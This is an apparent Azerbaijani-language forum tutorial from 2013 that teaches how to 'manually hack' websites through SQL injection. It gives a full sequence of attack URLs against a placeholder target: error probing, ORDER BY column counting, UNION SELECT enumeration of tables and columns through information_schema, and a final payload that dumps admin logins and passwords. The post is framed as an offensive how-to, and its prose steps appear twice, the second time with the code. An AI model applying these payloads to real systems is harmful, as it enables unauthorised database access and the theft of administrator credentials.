- 6 May 2013
- 973
- 0
Salamlar. Mən Bu Gün Sizlərə SQL İnjection Açıqlı Saytları Manual Hack Etməyi Öyrədəcəm. SQL Açığı Əsasən İD Dəyəri Vasitəsilə Meydana Gəlir. Məqalə Tamamilə Mənə Aiddir Və Heç Kim Bunun Alıntı Olduğunu Söyləyə Bilməz.
Başlayaq. İlk Öncə SQL Açıqlı Saytı Hədəf Götürək. SQL Açığının Olub Olmadığını Yoxlamaq Üçün İD Dəyərindən Sonra ' İşarəsi Qoyuruq. Yəni :
Bu Zaman Sayt Ya Error Verəcək Ya Da Ki Boş Səhifə Açılacaq. Error Dediyimdə Təbii Ki 404 Erroru Yox SQL Erroru Nəzərdə Tuturam. SQL Errorları Əsasən 2 Cür Olur.
Errorumuzu Aldıq.İndi İsə Sıra Order Çəkməyə Gəldi. Order Çəkmək Üçün İD Dəyərindən Sonra +order+by+ Yazırıq Və 1`dən Başlayaraq Artıra Artıra Gedirik.
Orderin Bitdiyini O Zaman Anlayacayıq Ki Səhifə Error Verəcək. Məsələn 5`də Error Verdi. Amma 4 Tam Səhifə Açdı. 4 Tam Səhifə Açdığına Görə Column Sayımız 4`dür.
İndi İsə Column Sayımızdan İstifadə Edərək Database`dən Tableləri Çəkəcəyik.
Bu Zaman İD Dəyərindən Sonra +union+all+select+ Kodundan İstifadə Edirik. Column Sayımız 4 Olduğuna Görə 4`ə Qədər Yazırıq. Yəni Belə
Burada Column Sayından Sonra -- Yazırıq Və İD Dəyərindən Əvvəl - İşarəsi Əlavə Edirik. Yəni:
İndi İsə ekrana Hər Hansı Bir Rəqəm Çıxacaq. Tutaq Ki Ekrana 2 Rəqəmi Çıxdı.
Bu Zaman URL`də 2 Rəqəminin yerinə group_concat(table_name) Ən Axıra İsə +from+information_schema.tables+where+table_schema=database() Yazırıq. Yəni Belə.
Ekrana Table`lər Gəldi.Buradan Bizə admin,adminuser,user,users Və Buna Oxşar Tablelər Lazım Olacaq.Biz admin Tablesini İstifadə Edək. İndi İsə Saytın Sonuna Yazdığımız Kod Bu Cür Dəyişəcək :
Burada Bizə Table Adını Hexləmək Lazım Olacaq. Bunun Üçün Bu Saytdan İstifadə Edək : Klik Et
Burda String Yazılan Yerə Hexləmək İstədiyimiz Table Adını Yazaq. Biz admin Tablesini Seçmişdik. Ona Görə String Yerinə admin Yazaq. Onu Da Qeyd Edim Ki Burada Hərflərin Böyük Kiçik Yazılmasından Çox Şey Asılıdır.
Table Adımızı Yazdıq Və Kodumuzu Aldıq. Verilən Kodların Arasında Vergül İşarəsi Qoyuruq. : 97,100,109,105,110
İndi İsə Saytın Sonuna Yazdığımız Kod Bu Cür Olacaq. :
Qarşımıza Columnlar Gəldi : id,login,pass
Bizə İsə login və pass column`u lazım olacaq
Və Kod Belə Olacaq.
Bizim Seçdiyimiz Table admin Tablesi Olduğu Üçün Kod Bu Cür Olur.Onu Da Qeyd Edim Ki login və pass Arasında Yazdığım 0x3a vergül Rolunu Oynayır Və Onu Mütləq Yazmalısınız.
Başlayaq. İlk Öncə SQL Açıqlı Saytı Hədəf Götürək. SQL Açığının Olub Olmadığını Yoxlamaq Üçün İD Dəyərindən Sonra ' İşarəsi Qoyuruq. Yəni :
Kod:
http://hedefsayt.com/bolme.php?id=1'
Bu Zaman Sayt Ya Error Verəcək Ya Da Ki Boş Səhifə Açılacaq. Error Dediyimdə Təbii Ki 404 Erroru Yox SQL Erroru Nəzərdə Tuturam. SQL Errorları Əsasən 2 Cür Olur.
Kod:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
Kod:
Warning: Invalid argument supplied for foreach() in /home/test /public_html/news.php on line 41
Errorumuzu Aldıq.İndi İsə Sıra Order Çəkməyə Gəldi. Order Çəkmək Üçün İD Dəyərindən Sonra +order+by+ Yazırıq Və 1`dən Başlayaraq Artıra Artıra Gedirik.
Kod:
http://hedefsayt.com/bolme.php?id=1+order+by+1
Kod:
http://hedefsayt.com/bolme.php?id=1+order+by+2
Kod:
http://hedefsayt.com/bolme.php?id=1+order+by+3
Kod:
http://hedefsayt.com/bolme.php?id=1+order+by+4
Kod:
http://hedefsayt.com/bolme.php?id=1+order+by+5
Orderin Bitdiyini O Zaman Anlayacayıq Ki Səhifə Error Verəcək. Məsələn 5`də Error Verdi. Amma 4 Tam Səhifə Açdı. 4 Tam Səhifə Açdığına Görə Column Sayımız 4`dür.
İndi İsə Column Sayımızdan İstifadə Edərək Database`dən Tableləri Çəkəcəyik.
Bu Zaman İD Dəyərindən Sonra +union+all+select+ Kodundan İstifadə Edirik. Column Sayımız 4 Olduğuna Görə 4`ə Qədər Yazırıq. Yəni Belə
Kod:
http://hedefsayt.com/bolme.php?id=1+union+all+select+1,2,3,4
Burada Column Sayından Sonra -- Yazırıq Və İD Dəyərindən Əvvəl - İşarəsi Əlavə Edirik. Yəni:
Kod:
http://hedefsayt.com/bolme.php?id=-1+union+all+select+1,2,3,4--
İndi İsə ekrana Hər Hansı Bir Rəqəm Çıxacaq. Tutaq Ki Ekrana 2 Rəqəmi Çıxdı.
Bu Zaman URL`də 2 Rəqəminin yerinə group_concat(table_name) Ən Axıra İsə +from+information_schema.tables+where+table_schema=database() Yazırıq. Yəni Belə.
Kod:
http://hedefsayt.com/bolme.php?id=1+union+all+select+1,group_concat(table_name),3,4+from+information_schema.tables+where+table_schema=database()
Ekrana Table`lər Gəldi.Buradan Bizə admin,adminuser,user,users Və Buna Oxşar Tablelər Lazım Olacaq.Biz admin Tablesini İstifadə Edək. İndi İsə Saytın Sonuna Yazdığımız Kod Bu Cür Dəyişəcək :
Kod:
+union+all+select+1,group_concat(column_name),3,4+from+information_schema.columns+where+table_name=char(hexlənmiş table kodu)--
Burada Bizə Table Adını Hexləmək Lazım Olacaq. Bunun Üçün Bu Saytdan İstifadə Edək : Klik Et
Burda String Yazılan Yerə Hexləmək İstədiyimiz Table Adını Yazaq. Biz admin Tablesini Seçmişdik. Ona Görə String Yerinə admin Yazaq. Onu Da Qeyd Edim Ki Burada Hərflərin Böyük Kiçik Yazılmasından Çox Şey Asılıdır.
![1392482113-572.jpg](http://imgs.su/tmp/2014-02-15/1392482113-572.jpg)
Table Adımızı Yazdıq Və Kodumuzu Aldıq. Verilən Kodların Arasında Vergül İşarəsi Qoyuruq. : 97,100,109,105,110
İndi İsə Saytın Sonuna Yazdığımız Kod Bu Cür Olacaq. :
Kod:
+union+all+select+1,group_concat(column_name),3,4+from+information_schema.columns+where+table_name=char(97,100,109,105,110)--
Qarşımıza Columnlar Gəldi : id,login,pass
Bizə İsə login və pass column`u lazım olacaq
Və Kod Belə Olacaq.
Kod:
+union+all+select+1,group_concat(login,0x3a,pass),3,4+from+seçdiyimiz table--
Bizim Seçdiyimiz Table admin Tablesi Olduğu Üçün Kod Bu Cür Olur.Onu Da Qeyd Edim Ki login və pass Arasında Yazdığım 0x3a vergül Rolunu Oynayır Və Onu Mütləq Yazmalısınız.
+union+all+select+1,group_concat(login,0x3a,pass),3,4+from+admin--